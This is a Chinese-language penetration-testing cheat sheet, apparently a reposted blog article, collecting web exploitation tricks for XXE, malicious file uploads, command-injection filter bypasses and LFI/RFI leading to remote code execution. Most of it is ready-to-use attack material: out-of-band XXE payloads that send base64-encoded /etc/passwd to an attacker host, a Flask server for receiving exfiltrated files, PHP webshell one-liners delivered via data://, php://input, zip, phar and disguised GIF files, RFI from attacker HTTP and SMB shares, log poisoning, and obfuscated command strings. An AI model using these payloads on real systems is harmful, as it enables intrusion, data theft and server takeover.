渗透测试--Web基础漏洞利用技巧

 渗透测试--Web基础漏洞利用技巧

        本文章写了Web基础漏洞中一些不那么常见的利用技巧,而不谈及漏洞的原理以及常见用法。

SQL

        俺是SQLmap党,哈哈,所以这块就不多讲了。详情可见文章《渗透测试--SQLmap_渗透测试sqlmap-CSDN博客》

XXE

XXE组成情况

钥匙定义例子
TagXML 文档的键,通常用 ( <>) 字符括起来。<date>
EntityXML 变量,通常用 ( &;) 字符括起来。&lt;
Element根元素或其任何子元素,其值存储在开始标记和结束标记之间。<date>01-01-2022</date>
Attribute存储在标签中的任何元素的可选规范,可供 XML 解析器使用。version="1.0"/encoding="UTF-8"
Declaration通常是 XML 文档的第一行,定义解析时使用的 XML 版本和编码。<?xml version="1.0" encoding="UTF-8"?>

XXE回显点

输入的xml中会回显的内容

报错位置可能存在回显点

<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

服务器外带

#远程DTD文件
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

#XXE攻击交互
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>
###外带python搭建服务器,个人使用,不喜勿喷
###解码后的文件存储于服务器中,传输成功显示404。
from flask import Flask, request, jsonify
import base64
import os
import uuid
from datetime import datetime

app = Flask(__name__)

# 定义存储文件的目录
SAVE_DIRECTORY = 'decoded_files'

# 如果目录不存在,则创建目录
if not os.path.exists(SAVE_DIRECTORY):
    os.makedirs(SAVE_DIRECTORY)

@app.route('/decode', methods=['GET'])
def decode_content():
    content = request.args.get('content')
    
    if content:
        try:
            # Base64 解码
            decoded_content = base64.b64decode(content).decode('utf-8')
            
            # 生成唯一文件名
            file_name = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_{str(uuid.uuid4())}.txt"
            file_path = os.path.join(SAVE_DIRECTORY, file_name)

            # 将解码后的内容写入文件
            with open(file_path, 'w', encoding='utf-8') as f:
                f.write(decoded_content)

            return jsonify({
                'status': 'Notfound',
                'message': '404'
            })
        except Exception as e:
            return jsonify({
                'status': 'error',
                'message': f"Error decoding base64 content: {str(e)}"
            })
    else:
        return jsonify({
            'status': 'error',
            'message': "No 'content' parameter found in the request."
        })

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

XXE导致任意文件读取

#无害实体
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

#文件泄露
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

#源代码获取
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

#输出文件内容不以XML格式生成
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> 
  <!ENTITY % end "]]>"> 
  <!ENTITY % xxe SYSTEM "http://10.10.16.20/xxe.dtd"> 
  %xxe;
]>

#引用实体
&company;

XXE导致SSRF

XXE导致RCE

#RCE
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://expect:">
]>

XXE自动化工具

https://github.com/enjoiz/XXEinjector

XSS

        基本的绕过手段都在网上可查

文件上传

文件上传木马文件

        老生常谈了,基本的文件上传利用,在此不做赘述,我知道你们喜欢更有意思的

文件上传导致XSS

        如果上传文件的内容在HTLM当中存在回显,我们应当十分注意,这可能造成XSS。造成XSS主要有以下情况:

1.接受文件接受HTLM的文档,有时候开发人员会犯一点小错误,也就是说,HTML会解析JS

2.接受文件内容以未编码形式展示在HTLM页面中,那么我们可以送他们一个<>来闭合他们的标签

3.接受文件名可能会回显,例如我们好心的开发人员会再次念出我们文件的名字。

接受文件接受HTLM的文档 

###上传文件HTML

#发送HTML页面代码
<body>
    <div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>


#服务器端接受并解析HTLM文件
<body>
    <div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>


接受文件内容以未编码形式展示在HTLM页面中 

###接受文件内容未编码情况嵌入HTML中
#上传文件
filename="evil.jpg"
content='''
    ><img src=1 onerror=alert(1)
'''

#接受未编码jpg文件的内容直接放出来
<body>
    <img><img src=1 onerror=alert(1)>
<body>

 接受文件名可能会回显

###接受文件名回显
#上传文件
filename="<script>alert(1)</script>.txt"

#上传成功页面
<body>
    <p> 恭喜你上传成功<script>alert(1)<script>.txt文件! </p>
<body>

文件上传导致XXE

        svg文件的上传点可能导致XXE问题,因为svg文件本身是以xml解析的,如果没有很好的控制,XXE就会冒头。

###svg文件上传导致XXE
#上传文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

#svg文件被接受并作为头像
很好他死了!

 文件上传绕过黑名单

枚举可扩展名,总有一款适合他

文件上传绕过白名单

双扩展

反向双扩展

字符注入

双扩展

#只接受.jpg
.php.jpg

反向双扩展

#只接受.jpg
.jpg.php

字符注入

#只接受.jpg
.jpg{char}.php

char = [
'%00',
'%0a',
'%20',
'%0d0a',
'.\',
'/',
'.',
'...',
':'
]

寻找文件上传位置

        上传了宝贝,这种好事儿总不能让服务器一个人独享,我们必须找到他。

过长文件名让应用报错

发送已经存在的文件

在页面中查看图片的引用位置

命令注入

        命令注入是我们非常期望的东西了,因为他可以直接造成RCE,这很严重。自然这种攻击的防护也就最为众多。我们需要总结出一套绕过他们的手段。

命令注入可以注入的操作字符

注入操作符注塑件URL 编码字符执行的命令
分号;%3b两个都
新线\n%0a两个都
背景&%26两者(第二个输出通常首先显示)
管道|%7c两者(仅显示第二个输出)
&&%26%26两者(仅当第一个成功时)
或者||%7c%7c第二(仅当第一失败时)
子壳``%60%60两者(仅限 Linux)
子壳$()%24%28%29两者(仅限 Linux)
注射类型运算符
SQL 注入' , ; -- /* */
命令注入; &&
LDAP 注入* ( ) & |
XPath 注入' or and not substring concat count
操作系统命令注入; & |
代码注入' ; -- /* */ $() ${} #{} %{} ^
目录遍历/文件路径遍历../ ..\\ %00
对象注入; & |
XQuery 注入' ; -- /* */
Shellcode 注入\x \u %u %n
标头注入\n \r\n \t %0d %0a %09

黑名单绕过之字符替换

%09        空格替代

${IFS}         制表符和空格

{ls,-al}        等于"ls -al",可用于替代空格

${PATH:0:1}        等于/        该方法的原理是使用了Linux中的环境变量和字符串切割

${LS_COLORS:10:1}        等于;        该方法的原理是使用了Linux中的环境变量和字符串切割

$env:HOMEPATH[0]        等于/        该方法的原理是使用了Win中的环境变量和字符串切割

$env:PROGRAMFILES[10]        等于空格        该方法的原理是使用了Win中的环境变量和字符串切割

'    等于空气    bash语言会无视它,who'am'i

"    等于空气    bash语言会无视它    

$@    等于空气     bash语言会无视它    

\    等于空气     bash语言会无视它    

WhAMi    大小写大法!    仅适用于Windows

 使用案例

#base64编码
echo -n 'cat /etc/passwd | grep 33' | base64

#Linux
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
$(rev<<<'imaohw')
$('imaohw'[-1..-20] -join '')
$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)   ##实际尝试发现这种情况下不能编码空格
`{base64,-d}<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==`    ##这种方式可以编码空格

#Windows
$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))

自动化工具Bashfuscator

Linux - 我们可以利用Bashfuscator
Windows - DOSfuscation

LFI

可能发生包含的语言

PHP

NodeJS

Java

.net

data协议包含执行导致RCE

cmundy2@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

php伪协议包含执行导致RCE

cmundy2@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

expect函数执行URL流导致RCE 

##在后端服务器安装expect


#检验是否暗装expect
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect

extension=expect


#若开启该插件,那么就可以RCE而不需要webshell
cmundy2@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RFI从远程FTP服务器执行文件导致RCE

cmundy2@htb[/htb]$ curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RFI从远程HTTP服务器执行文件导致RCE

http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

RFI从远程SMB服务器执行文件导致RCE

http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

LFI包含任意扩展名文件

        不论是本地的还是远程的皆有可能,=3=


###gif包含
cmundy2@htb[/htb]$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id


###PHP包含
cmundy2@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id


###phar包含
cat shell.php


<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

#构造phar文件
cmundy2@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg


http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

向日志投毒然后使用LFI包含日志导致RCE

#修改Agent 将php代码写入日志当中

#然后爆破日志位置

#根据日志位置包含日志,执行php脚本
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log

#这些都可以
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
/proc/self/environ
/proc/self/fd/N

自动化手段

最常见的 LFI 工具是LFISuite、LFiFreak和liffy

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948900.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Flink源码解析之:Flink on k8s 客户端提交任务源码分析

Flink on k8s 客户端提交任务源码分析 当我们需要在代码中提交Flink job到kubernetes上时&#xff0c;需要如何做呢&#xff1f;要引入什么第三方依赖&#xff1f;需要提供什么内容&#xff1f;flink是如何将job提交到k8s上的&#xff1f;经过了什么样的流程&#xff0c;内部有…

kubernetes学习-Service

kubernetes学习-Service 1. Service说明2. 功能3.Service类型3.1 NodePort3.1.1 创建web-service.yaml3.1.2 创建web-pod.yaml3.1.3 部署3.1.4 验证 3.2 ClusterIP3.2.1 创建web-clusterIp-service.yaml3.2.2 创建web-clusterIp-pod.yaml3.2.3 部署3.2.4 验证 3.3 LoadBalancer…

使用WebSocket 获取实时数据

回车发送数据&#xff0c;模拟服务器发送数据 效果图&#xff1a; 源码&#xff1a; <template><div><h1>WebSocket 实时数据</h1><input type"text" v-model"ipt" keyup.enter"sendMessage(ipt)"><div v-if…

NeurIPS 2024 | SHMT:通过潜在扩散模型进行自监督分层化妆转移(阿里,武汉理工)

当前的妆容转移技术面临两个主要挑战&#xff1a; 缺乏成对数据&#xff0c;导致模型训练依赖于低质量的伪配对数据&#xff0c;从而影响妆容的真实感&#xff1b; 不同妆容风格对面部的影响各异&#xff0c;现有方法难以有效处理这种多样性。 今天给大家介绍的方法是由阿里联…

Mongo高可用架构解决方案

Mongo主从复制哪些事(仅适用特定场景) 对数据强一致性要求不高的场景,一般微服务架构中不推荐 master节点可读可写操作,当数据有修改时,会将Oplog(操作日志)同步到所有的slave节点上。那么对于从节点来说仅只读,所有slave节点从master节点同步数据,然而从节点之间互相…

JVM对象内存分配

1 栈上分配 栈空间随着方法执行完毕而回收通过栈上分配对象内存空间的方式&#xff0c;减少对堆空间的使用&#xff0c;从而减少gc的压力&#xff0c;提升程序性能 逃逸分析&#xff1a;分析对象的作用域&#xff0c;判断对象所需内存是否可以在栈上分配当对象没有被外部方法或…

性能测试04|JMeter:连接数据库、逻辑控制器、定时器

目录 一、连接数据库 1、使用场景 2、直连数据库的关键配置 3、案例 ​编辑 二、逻辑控制器 1、if控制器 2、循环控制器 3、ForEach控制器 三、定时器 1、同步定时器 2、常数吞吐量定时器&#xff08;用的少&#xff0c;了解即可&#xff09; 3、固定定时器 一、连…

国内Ubuntu环境Docker部署 SenseVoice

国内Ubuntu环境Docker部署 SenseVoice 趁热搞定了 docker 部署 SenseVoice。在这里记录一下相关的文件。 SenseVoice是一个大模型语音识别库, 支持多种语言识别&#xff0c;速度快&#xff0c;准确率高&#xff0c;详细介绍请参考GitHub官网&#xff1a; https://github.com/Fu…

1.2.1-2部分数据结构的说明02_链表

&#xff08;1&#xff09;链表数据结构&#xff1a; 概念&#xff1a; 将列表中相互连接的节点不连续的存储在内存中。与数据不同&#xff0c;我们无法再恒定时间内访问任何元组&#xff0c;如果遍历所有则花费时间与元素总数n成正比。插入和删除1个元素的时间复杂度都是O(n…

什么是.net framework,什么是.net core,什么是.net5~8,版本对应关系

我不知道有多少人和我一样&#xff0c;没学习过.netCore&#xff0c;想要学习&#xff0c;但是版本号太多就蒙了&#xff0c;不知道学什么了&#xff0c;这里解释下各个版本的关系 我们一般开始学习微软的时候&#xff0c;都是开始学习的.netframework&#xff0c;常用的就是4…

网站常用功能模块-鉴权

一&#xff1a;JWT是什么&#xff1f; 常用鉴权方式有很多种&#xff0c;今天主要介绍基于token的鉴权方式JWT&#xff08;Json JSON Web Token&#xff09;。因为这种方式实现起来方便快捷。整体实现逻辑如下 第一次登陆时&#xff0c;前端携带账号和密码请求登录接口。服务…

S32K144 UDSdoCAN 升级刷写实现笔记

文章目录 1. 摘要2. 开发环境搭建2.1 开发板2.2 IDE 安装2.3 更新扩展包2.4 烧录仿真测试2.4.1 新建工程2.4.2 导入已有工程2.4.3 编译工程2.4.4 硬件连接2.4.5 Debug2.4.6 添加 .c .h 文件2.5 串口配置2.5.1 时钟2.5.2 GPIO2.5.3 定时器2.5.4 uart 工程2.5.5 烧录验证3. 升级原…

《信息收集是这样吗?》

信息收集 前置&#xff1a;渗透思路&#xff1a; 1&#xff0c; 信息收集 2&#xff0c; 漏洞扫描 3&#xff0c; 漏洞挖掘 4&#xff0c; 开始攻击 5&#xff0c; 权限维持&#xff08;持久化&#xff09; 6&#xff0c; 权限提升 7&#xff0c; 免杀隐藏 8&#xff…

[深度学习] 大模型学习1-大语言模型基础知识

大语言模型&#xff08;Large Language Model&#xff0c;LLM&#xff09;是一类基于Transformer架构的深度学习模型&#xff0c;主要用于处理与自然语言相关的各种任务。简单来说&#xff0c;当用户输入文本时&#xff0c;模型会生成相应的回复或结果。它能够完成许多任务&…

用matlab调用realterm一次性发送16进制数

realterm采用PutString接口进行发送&#xff0c;需要注意的是发送的16进制数前面要加入0x标志。只有这样&#xff0c;realterm才能将输入的字符串识别为16进制数的形式。 另外,PutString函数支持两个参数输入&#xff0c;第一个参数为字符串&#xff0c;第二个参数为发送形式&…

【C++】B2099 矩阵交换行

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;题目描述题目描述输入格式输出格式输入输出样例输入 #1输出 #1 &#x1f4af;题目分析&#x1f4af;不同解法分析我的做法实现步骤&#xff1a;优点&#xff1a;不足&#…

HTML5实现好看的博客网站、通用大作业网页模板源码

HTML5实现好看的博客网站、通用大作业网页模板源码 前言一、设计来源1.1 主界面1.2 列表界面1.3 文章界面 二、效果和源码2.1 动态效果2.2 源代码 源码下载结束语 HTML5实现好看的博客网站、通用大作业网页模板源码&#xff0c;博客网站源码&#xff0c;HTML模板源码&#xff0…

动态规划六——两个数组的dp问题

目录 题目一——1143. 最长公共子序列 - 力扣&#xff08;LeetCode&#xff09; 题目二——1035. 不相交的线 - 力扣&#xff08;LeetCode&#xff09; 题目三——115. 不同的子序列 - 力扣&#xff08;LeetCode&#xff09; 题目四—— 44. 通配符匹配 - 力扣&#xff08;…

大模型与EDA工具

EDA工具&#xff0c;目标是硬件设计&#xff0c;而硬件设计&#xff0c;您也可以看成是一个编程过程。 大模型可以辅助软件编程&#xff0c;相信很多人都体验过了。但大都是针对高级语言的软件编程&#xff0c;比如&#xff1a;C&#xff0c;Java&#xff0c;Python&#xff0c…

单片机-串转并-74HC595芯片

1、74HC595芯片介绍 74HC595 是一个 8 位串行输入、并行输出的位移缓存器&#xff0c;其中并行输出为三态输出&#xff08;即高电平、低电平和高阻抗&#xff09;。 15 和 1 到 7 脚 QA--QH&#xff1a;并行数据输出 9 脚 QH 非&#xff1a;串行数据输出 10 脚 SCLK 非&#x…